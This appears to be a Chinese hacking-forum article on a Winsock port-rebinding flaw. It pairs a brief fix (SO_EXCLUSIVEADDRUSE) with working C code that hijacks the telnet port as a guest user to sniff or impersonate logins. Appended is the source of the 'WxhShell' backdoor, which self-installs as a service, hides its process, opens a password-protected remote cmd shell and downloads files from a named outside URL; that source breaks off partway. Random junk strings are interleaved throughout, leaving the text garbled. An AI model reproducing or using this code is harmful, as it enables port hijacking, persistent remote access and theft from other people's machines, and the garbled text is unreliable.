在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
shL_{} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{X2uFw Gi a *
CXg.i saddr.sin_family = AF_INET;
FeS
,TQ4j S&-F(#CF^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J @~g> L4T\mP7D7* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>Ik%_:CC` 8@+<W%+th 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=jh^mD&' !-n*]C 这意味着什么?意味着可以进行如下的攻击:
%-fS:~$ qc.TYp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)g?jHm-p\ BMQ4i&kF| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!gV{[j?~zr cZ
!$XXA` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
oiR9NB&< "[k>pzl6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5M9o(Z\AF ]8OmYU%6V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D3,)H%5.y ltU{P|7!E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Il>o60u1 gBWr)R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/qwY/^ ar
7.O;e #include
AB0}6g^O #include
G\5Bdo1g #include
gaNe\ #include
(4RtoYWW DWORD WINAPI ClientThread(LPVOID lpParam);
*' es(]W int main()
FIAmAZH}_ {
8 l= EL7 WORD wVersionRequested;
3G 5xIr6
DWORD ret;
%dr*dA'
WSADATA wsaData;
?IS[2 v$ BOOL val;
ts_|7Ev SOCKADDR_IN saddr;
@c"s6h& SOCKADDR_IN scaddr;
C|g1:#0 int err;
\+/ciPzA- SOCKET s;
I*JJvqh SOCKET sc;
9An\uH)mL int caddsize;
#PPHxh*S HANDLE mt;
ZQir?1= DWORD tid;
<C;TGA wVersionRequested = MAKEWORD( 2, 2 );
^.g-}r8, err = WSAStartup( wVersionRequested, &wsaData );
#u+qV!4 if ( err != 0 ) {
I`jG printf("error!WSAStartup failed!\n");
VM&Ref4 return -1;
EB}~^ aY }
9C Ki$L saddr.sin_family = AF_INET;
?dv-`)S& sredL#]BA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
huyfo1( So ~QZ%YA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
T%Cj#J&L saddr.sin_port = htons(23);
t;PG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Tj!\SbnA[ {
G;pmR^ printf("error!socket failed!\n");
7B5b
+ return -1;
V!yBH<X }
o$U{.# val = TRUE;
0"TPY(n //SO_REUSEADDR选项就是可以实现端口重绑定的
kz("LI] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
O}2/w2n {
qkp0' f*} printf("error!setsockopt failed!\n");
SD8>, return -1;
TXV^f* }
`)KGajB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m#O; 1/P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;l0%yg/} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vd$>nJ" :9x]5;ma if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7Lj:m.0O^ {
cH|J ret=GetLastError();
z?kE((Ey printf("error!bind failed!\n");
Y,,Z47%
E return -1;
U,fPG/9 }
q&NXF( listen(s,2);
K)[\IJJM while(1)
iyUnxqP {
JX&%5sn( caddsize = sizeof(scaddr);
:ec>[N~KG //接受连接请求
i& %dwqp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k
7@:e$7 if(sc!=INVALID_SOCKET)
H.]<fvP {
`fJ;4$4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-{z[.v.p if(mt==NULL)
E&Lml?@ {
{9j0k`A printf("Thread Creat Failed!\n");
k$#1T +(G break;
KiE'O{Y }
rxJl;!7G }
9a sA-'fZ CloseHandle(mt);
W>&*.3{v }
Yy`A0v closesocket(s);
OS>%pgv WSACleanup();
Ic&YiATj return 0;
| "M1+(k7 }
L>hLYIW DWORD WINAPI ClientThread(LPVOID lpParam)
*&h]PhY {
3|)cT1ej SOCKET ss = (SOCKET)lpParam;
,Tx38 SOCKET sc;
0 A8G8^T unsigned char buf[4096];
BV/ ^S.~ SOCKADDR_IN saddr;
\FCPD.2s+ long num;
rG[2.\& DWORD val;
%=s2>vv9 DWORD ret;
[{&OcEf //如果是隐藏端口应用的话,可以在此处加一些判断
_o+OkvhU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K9nW"0> saddr.sin_family = AF_INET;
d]sg9` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
A%&lW9z7 saddr.sin_port = htons(23);
":=h1AJY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mT|r:Yr: {
qkC{IBN92 printf("error!socket failed!\n");
QMX return -1;
#BH]`A J }
X_rv} val = 100;
eE\T,u5: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KMl3`+i {
9>&p:+D ret = GetLastError();
t)O]0)
s return -1;
'b >3:& }
h{jm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dEX67rUj; {
5dX0C ret = GetLastError();
c0X1})q$ return -1;
c2s73iz }
o(D_ /]'8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@|OGxQoC {
!
8Ro5), printf("error!socket connect failed!\n");
q 4Ok$~"I closesocket(sc);
}h3[QUVf% closesocket(ss);
jsKKg^g return -1;
ox";%|PP1 }
$0~1;@`rQ6 while(1)
LJ z6)kz {
1NrNTBI@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rV-Xsf7Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
/P/0\3TCi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
v!n|X7 num = recv(ss,buf,4096,0);
oIE3`\xS if(num>0)
R-4#y%k< send(sc,buf,num,0);
sYk#XNH else if(num==0)
IRv/[|"L break;
.+lx}#-# num = recv(sc,buf,4096,0);
&*Kk>
4 if(num>0)
e%7#e%1s send(ss,buf,num,0);
#??[;xjs! else if(num==0)
^ZBTd5t# break;
5pff}Ru` }
Y%(8'Ch closesocket(ss);
kD((1v*D$ closesocket(sc);
Y|KT3 return 0 ;
Wk
}}f|O0 }
l @E
{K| 5+(Cp3 8@FgvWC ==========================================================
DW)81*~g T*(mi{[T 下边附上一个代码,,WXhSHELL
_0iV6Bj
-f<}lhmQ ==========================================================
*
COC& }+)q/]% #include "stdafx.h"
R|*Eg,1g - cCG!X%9 #include <stdio.h>
\@{TF((Y #include <string.h>
+7y#c20 #include <windows.h>
5n e&6 #include <winsock2.h>
!_iv~Q zv #include <winsvc.h>
sP>-k7K. #include <urlmon.h>
V'K:52 7H,)heA #pragma comment (lib, "Ws2_32.lib")
VwLo #pragma comment (lib, "urlmon.lib")
.W\x{h p$Floubh] #define MAX_USER 100 // 最大客户端连接数
yy`XtJBWWs #define BUF_SOCK 200 // sock buffer
>YcaFnY #define KEY_BUFF 255 // 输入 buffer
z)u\(W*\iA (L W2S;- #define REBOOT 0 // 重启
?lU(FK #define SHUTDOWN 1 // 关机
@"aqnj>+ qtz~Y~h|> #define DEF_PORT 5000 // 监听端口
#w!ewC vt wEU=R>j. #define REG_LEN 16 // 注册表键长度
jK{qw #define SVC_LEN 80 // NT服务名长度
Bf3 QB]9 {m_y< // 从dll定义API
7gRR/&ZK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
sy(.p^Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P<LmCYm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]i>,oxBWe typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
nJwP|P_ onIZ&wrk // wxhshell配置信息
y#/P||PM struct WSCFG {
G#1W":|` int ws_port; // 监听端口
KppYe9? char ws_passstr[REG_LEN]; // 口令
UsdMCJ&G int ws_autoins; // 安装标记, 1=yes 0=no
cG1iO: char ws_regname[REG_LEN]; // 注册表键名
mp*?GeV?M char ws_svcname[REG_LEN]; // 服务名
64Tb,AL_ char ws_svcdisp[SVC_LEN]; // 服务显示名
UMK9[Iy$<M char ws_svcdesc[SVC_LEN]; // 服务描述信息
m!3D5z]n9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3XDuo|( int ws_downexe; // 下载执行标记, 1=yes 0=no
/RWD\u<l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Qve5qJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
^Iqu ^n?2. tY#Zl 54~{ };
Th$xk9TK^@ CQ7NQ^3k // default Wxhshell configuration
.dwbJT struct WSCFG wscfg={DEF_PORT,
XR$i:kL,, "xuhuanlingzhe",
/bL L!nD=^ 1,
l9&L$,= "Wxhshell",
Yaz/L)Y;R "Wxhshell",
C*
0ZF "WxhShell Service",
S#T u/2<} "Wrsky Windows CmdShell Service",
% pAbkb3m "Please Input Your Password: ",
}[(v(1j='~ 1,
.0MY$ 0s "
http://www.wrsky.com/wxhshell.exe",
f*VXg[&\\F "Wxhshell.exe"
. "7-f]! };
9~y:K$NO n3$u9!|P // 消息定义模块
46~nwi$,^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}nSu7)3$B char *msg_ws_prompt="\n\r? for help\n\r#>";
{`(MK6D8 c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N1"bH~ char *msg_ws_ext="\n\rExit.";
Z/ L%?zH char *msg_ws_end="\n\rQuit.";
CZ
=]0zB char *msg_ws_boot="\n\rReboot...";
}rF4M1+B\ char *msg_ws_poff="\n\rShutdown...";
zjzEmX char *msg_ws_down="\n\rSave to ";
+Eel|)Z*Q >:BgatyPH char *msg_ws_err="\n\rErr!";
qx*N-,M%k( char *msg_ws_ok="\n\rOK!";
.:e#!~Ki b~(S;1NS' char ExeFile[MAX_PATH];
XJk~bgO* int nUser = 0;
dJlK'zK HANDLE handles[MAX_USER];
(0rcLNk{| int OsIsNt;
O9N+<sU=X ;vn0b"Fi3 SERVICE_STATUS serviceStatus;
:)FNhx3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Mhc5<~? bfkFk // 函数声明
]v:"
int Install(void);
-
b` int Uninstall(void);
+>yspOEz int DownloadFile(char *sURL, SOCKET wsh);
a>+m_]*JZ int Boot(int flag);
9fOE. void HideProc(void);
jc@=
b:r= int GetOsVer(void);
bL{D*\HF int Wxhshell(SOCKET wsl);
-lXQQ#V
- void TalkWithClient(void *cs);
_,I~1" int CmdShell(SOCKET sock);
B[2t.d;h int StartFromService(void);
LxiN9 int StartWxhshell(LPSTR lpCmdLine);
CZ%KC$l.5 P2U4,?_e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@]42.oP VOID WINAPI NTServiceHandler( DWORD fdwControl );
!>&G+R+k MOHw{Vw( // 数据结构和表定义
g;:3I\ L SERVICE_TABLE_ENTRY DispatchTable[] =
OT"j V {
`V.tqZF {wscfg.ws_svcname, NTServiceMain},
~4c,'k@ {NULL, NULL}
>4HB~9dKU };
QD1&"T<.d. #W8c)gkG9 // 自我安装
>,rzPc) int Install(void)
tA9Ew{3s {
uVXn/B char svExeFile[MAX_PATH];
u!fZ>kS HKEY key;
)ub!tm strcpy(svExeFile,ExeFile);
[~;wCW,1 pTJ_DH // 如果是win9x系统,修改注册表设为自启动
L$ jii if(!OsIsNt) {
r\y\]AmF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7dlMDHp\Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b0tbS[j RegCloseKey(key);
psS^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ur]WNk8bN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
':utU1dL RegCloseKey(key);
8zwH^q[`r return 0;
PC%_^BDW }
"k),;1 }
-ilhC Y@M }
t=[/L]! else {
m
7+=w>o .&K?@T4l // 如果是NT以上系统,安装为系统服务
;]rj Kc= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]0{,P
! if (schSCManager!=0)
%H}M[_f {
U1kW1L}B SC_HANDLE schService = CreateService
b}N\h<\G (
"{jVsih0 schSCManager,
^Je*k)COn wscfg.ws_svcname,
Kke
_?/fT wscfg.ws_svcdisp,
XW{cC`&
SERVICE_ALL_ACCESS,
I."s&]FZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
QKoJxjR=^ SERVICE_AUTO_START,
vTp,j-^ SERVICE_ERROR_NORMAL,
-3XnUGK svExeFile,
cr^R9dv NULL,
\ow(4O# NULL,
{|e7^_ ke NULL,
hiWs:Yq NULL,
zEeix,IU NULL
ork{a.1-_w );
FwQGxGZ if (schService!=0)
zXd#kw; {
6p14BruV CloseServiceHandle(schService);
GU xhn CloseServiceHandle(schSCManager);
i2\CDYP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#|Je%t}~ strcat(svExeFile,wscfg.ws_svcname);
F+V[`w*k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L_IvR 4:j~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
vNU[ K%U RegCloseKey(key);
w/7vXz< return 0;
b/=>'2f }
qmnW }
j9=)^? CloseServiceHandle(schSCManager);
5WtI.7r }
JOki4N }
k:1|Z+CJ V_)465g return 1;
/IC]}0kkp }
0fR?zT? 1qwJPM // 自我卸载
M5]$w]Ny9 int Uninstall(void)
9cMMkOM J {
@Lm (bW HKEY key;
CWnRRZ}r .O9Pn,: if(!OsIsNt) {
l{_1`rC' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+#g4Crb RegDeleteValue(key,wscfg.ws_regname);
g^:7mG6C RegCloseKey(key);
JRw)~Tg @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!]!9 $6n RegDeleteValue(key,wscfg.ws_regname);
?qtL*; RegCloseKey(key);
e\]CZ5hs3 return 0;
<P
c;8[ }
E%)3{#.z }
L4Si0 K }
5%R$7>`Z else {
}h\]0'S~J~ Oxh.& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5U(ry6fI= if (schSCManager!=0)
Pv3 e*I(( {
t$*CyYb{@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/I q6'oo if (schService!=0)
74%Uojl" {
.BZ3>]F3< if(DeleteService(schService)!=0) {
9 N@N U:M+ CloseServiceHandle(schService);
XO4r rAYvW CloseServiceHandle(schSCManager);
`"j _] return 0;
" G0HsXi }
J<7nOB}OD CloseServiceHandle(schService);
4> (OM|X=9 }
]WC@*3'kye CloseServiceHandle(schSCManager);
JA^Y:@<{/ }
_gP-$&JC }
4031~A8 l":Z. J return 1;
A(qy>x-BI }
Kj*:G!r0.: EX,)MU // 从指定url下载文件
$5#+;A'Q+ int DownloadFile(char *sURL, SOCKET wsh)
KN zm)O {
nHmi%R7k HRESULT hr;
)I9W a*I char seps[]= "/";
fk:oCPo char *token;
9\W }p\c char *file;
`Ui|T char myURL[MAX_PATH];
TZ%u;tBH: char myFILE[MAX_PATH];
*ZA.O 3_+$x4% strcpy(myURL,sURL);
I:%O`F token=strtok(myURL,seps);
A!j6JY.w while(token!=NULL)
@-Js)zcl q {
Q[N6# C:(4 file=token;
HX:rVHY token=strtok(NULL,seps);
Jri"Toz0 }
{(!j6|jK 6@@J>S> GetCurrentDirectory(MAX_PATH,myFILE);
U.HeIJ# strcat(myFILE, "\\");
X"qC&oZmf strcat(myFILE, file);
VXtW{*{" send(wsh,myFILE,strlen(myFILE),0);
C@i4[g){ send(wsh,"...",3,0);
o Z#4<7K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-Am~CM if(hr==S_OK)
@ \(*pa return 0;
_PeBV< else
e$+?l~ return 1;
F7zBm53 @4N@cM0
}
jP9)utEm6 C!8XFf8e // 系统电源模块
"##Ylq( " int Boot(int flag)
E#=slj@ {
y84=Q HANDLE hToken;
^gpswhp
5 TOKEN_PRIVILEGES tkp;
h)qapC5z, iCYo?> if(OsIsNt) {
R8lBhLs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D|[~Py LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
yF}l.>7D tkp.PrivilegeCount = 1;
,nELWzz%{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
SDTX3A1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tNI~<#+lg if(flag==REBOOT) {
_f8<t=R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4EiEE{9V return 0;
PKhH0O\_U }
PZQn]lbak else {
> T,^n
{_v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
\i-HECc"U return 0;
csV.AN'obq }
jMvWS71 }
]$'w8<D>t, else {
Ub8|x]ix if(flag==REBOOT) {
}-:s9Lt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
tU02t#8 return 0;
OE(Z)|LF }
E5P?(5Nv else {
ROr..-[u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5__8+R return 0;
ZlHN-!OZp }
> !thxG/_ }
j"aimjqd3 [WDtr8L return 1;
G9.+N~GZ. }
_N 5$>2 $:R"IqDG // win9x进程隐藏模块
iD)R*vnAi void HideProc(void)
821@qr|`e {
]:B|_|H y5L%_
{n HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]urrAIK if ( hKernel != NULL )
~G!>2 +L {
CY&Z*JI"'B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
iol.RszlZ| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t0*JinKI FreeLibrary(hKernel);
$2=-Q/lM }
$0C1';=^} 8'Eu6H&$G return;
UwuDs2
t }
R^Wed ,
4Vr,?"EO // 获取操作系统版本
_q >>]{5 int GetOsVer(void)
B1]dub9 {
$*ujX,}xG OSVERSIONINFO winfo;
IT a8*Myj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0#~e KFy GetVersionEx(&winfo);
0p\cDrB? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u:r'jb~@ return 1;
H@$\SUc{ else
I4kN4*d!N, return 0;
(^-i[aJY }
5UE5;yo <(rf+Ou>I // 客户端句柄模块
J>(I"K% int Wxhshell(SOCKET wsl)
<4,n6$E {
:jB8Q$s SOCKET wsh;
9ZjSM,+ struct sockaddr_in client;
IKhpe5} DWORD myID;
>'4Bq*5> Zvd^<SP<? while(nUser<MAX_USER)
]2kgG*^n" {
$+eDoI'f int nSize=sizeof(client);
Wpo:'?!(M^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
qF m=(J% if(wsh==INVALID_SOCKET) return 1;
SV;S`\i T&6W>VQ|[> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\;
Io if(handles[nUser]==0)
KD9Y closesocket(wsh);
:*V1jp+ else
trL:qD+{( nUser++;
y#HDJ=2 }
FCv3ZF?K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5#+G7 'k b_xn80O
return 0;
iOI8'`mk }
"'
g*_ fMaUIJ:Q9 // 关闭 socket
.Cfi/ void CloseIt(SOCKET wsh)
^<fN {
PzThVeJ+ closesocket(wsh);
zoYw[YP 9 nUser--;
GaMiu!|, ExitThread(0);
+~lZ]a7k }
epa)~/sA Pl4$`Qw#y // 客户端请求句柄
tPh``o void TalkWithClient(void *cs)
J8[N!qDCj {
W|_^Oe< ^ mbpt`@ SOCKET wsh=(SOCKET)cs;
I_s4Pf[l char pwd[SVC_LEN];
;C,D1_20Z char cmd[KEY_BUFF];
~3bn?'` char chr[1];
dLQV>oF int i,j;
yD6lzuk{X Y@'ug N|[C while (nUser < MAX_USER) {
$y~!ePKh 8Qtd, if(wscfg.ws_passstr) {
^W-03 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"I.PV$Rxl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|7XV!D!\g //ZeroMemory(pwd,KEY_BUFF);
:|i jCg+ i=0;
.\1{>A while(i<SVC_LEN) {
Tdvw7I-q l!z0lh-J // 设置超时
_:|/4.]`_ fd_set FdRead;
-z%|
Jk struct timeval TimeOut;
zx FD_ZERO(&FdRead);
`* !t<?$i FD_SET(wsh,&FdRead);
S7SD$+fX TimeOut.tv_sec=8;
sG{hUsPa TimeOut.tv_usec=0;
xB=~3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<{U "0jY!9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yj!4L&A > D:(HWL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L$*sv. pwd
=chr[0]; NIn#
if(chr[0]==0xd || chr[0]==0xa) { !Oj].
WQ
pwd=0; 871taL=
break; "_Wv,CYmNr
} (xnXM}M&2Y
i++; x5/O.5>f
} 'yG9Rt
&sJZSrk|
// 如果是非法用户,关闭 socket 5[\mwUA
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *,Bo $:(n
} UR;FW`
>q{E9.~b
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OmO/x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "W:#4@
F
EN^C'n
while(1) { go^?F-
dZ
]=T`8)_r)
ZeroMemory(cmd,KEY_BUFF); ~3YN;St-
9z)p*+rUK
// 自动支持客户端 telnet标准 @SA:64
9
j=0; 7VWq8FH`
while(j<KEY_BUFF) { u;$g13
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |7G+O+j
cmd[j]=chr[0]; Kfho:e,
if(chr[0]==0xa || chr[0]==0xd) { Ys8p,.OMs
cmd[j]=0; KrwG><+j
break; )%D2JC
} 0"q ^`@sZ
j++; saMv.;s
1^
} 7}+U;0,)
]F:5-[V#
// 下载文件 E3bS Q
if(strstr(cmd,"http://")) { @k_xA-a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }%z {tn
if(DownloadFile(cmd,wsh)) $2l<X KT-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )%e`SGmp
else D,FX&{TYU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +S!gS|8P
} 7]}n0*fe
else { .<Y7,9;YEF
[se J'Io
switch(cmd[0]) { /:-8 ,`
q}vz]L&o
// 帮助 dW
hU
o\>=
case '?': { e
C\;n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [kfLT::mT
break; {pEay|L_
} 0 t. '?=
// 安装 O5^!\j.WR
case 'i': { rkw^ RW^
if(Install()) obYXDj2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3C8cvi[IS
else 1=fP68n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G[34:J
break; Q
a(>$. h
} i9KQpWG:
// 卸载 ]xhZJ~"@u
case 'r': { FjUf|
if(Uninstall()) Qrr8i:Y^
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
Tk(ciwB
else "P4#Q_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K5;
/
break; 5i 56J1EC
} @9yY`\"ed
// 显示 wxhshell 所在路径 xl.iI$P
case 'p': { AF-4b*oB
char svExeFile[MAX_PATH]; 3ya_47D
strcpy(svExeFile,"\n\r"); [ArPoJt
strcat(svExeFile,ExeFile); $w,&h:.p
send(wsh,svExeFile,strlen(svExeFile),0); @EPO\\C"f
break; nJEm&"AI
} &~ =q1?
// 重启 0FL PZaRP
case 'b': { Mp8BilH-T
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yh=/?&*
if(Boot(REBOOT)) pq<302uBQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;xp^FKP
else { K,pQ11J
closesocket(wsh); B2}|b^'I
ExitThread(0); Y!M&8;>
} q|Oz
break; |&O7F;/_
} B?;!j)FUtt
// 关机 d(LX;sq?
case 'd': { Yv}V =O%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^
+e5 M1U=
if(Boot(SHUTDOWN)) EX]LH({?+L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !nPwRK>
else { JqX+vRY;dd
closesocket(wsh); =#tQhg,_
ExitThread(0); )U>JFgpIW
} mW_B|dM"
break; v/\in'H~
} :fxG]uf-P
// 获取shell =3~u.iq$
case 's': { ,!m][
CmdShell(wsh); >^<%9{
closesocket(wsh); h[%t7qo=
ExitThread(0); .{pc5eUf
break; Gw\-e;,
} F;I % 9-R
// 退出 _{d0Nm
case 'x': { _A[k&nO!&J
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U64WTS@
CloseIt(wsh); X>0$zE@0
break; Q
db~I#}m'
} epWTZV(1x
// 离开 n/>^!S
case 'q': { -!p +^wC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :P!"'&gCL
closesocket(wsh); Qxw?D4/Y
WSACleanup(); F@+FXnz
exit(1); G-54D_ 4
break; nDt1oM
H
} @Ido6Z7
} C`p)S`d
} @raw8w\Zj+
2s+ITPr
// 提示信息 9>@@W#TK~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0`{3|g
} qUZm6)p6[a
} LF2@qv w D
&p."`
C
return; ?1DA
} ]8Eci^i
;q8tOvQ
// shell模块句柄 N2 vA/
int CmdShell(SOCKET sock) >u6*P{;\
{ {~Q9jg(A
STARTUPINFO si; |^uU &O;.
ZeroMemory(&si,sizeof(si)); J ejDF*Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2+Y8b::
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
zK*zT$<l
PROCESS_INFORMATION ProcessInfo; 0n'~wz"wB
char cmdline[]="cmd"; \[nvdvJv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C(ay7
return 0; M[;N6EJH
} -zzM!1@F
APfDy
// 自身启动模式 -{ae
int StartFromService(void) Usa
{ 4 ^=qc99
typedef struct 9JG9;[
{
R%(ww
DWORD ExitStatus; `|["{j}^
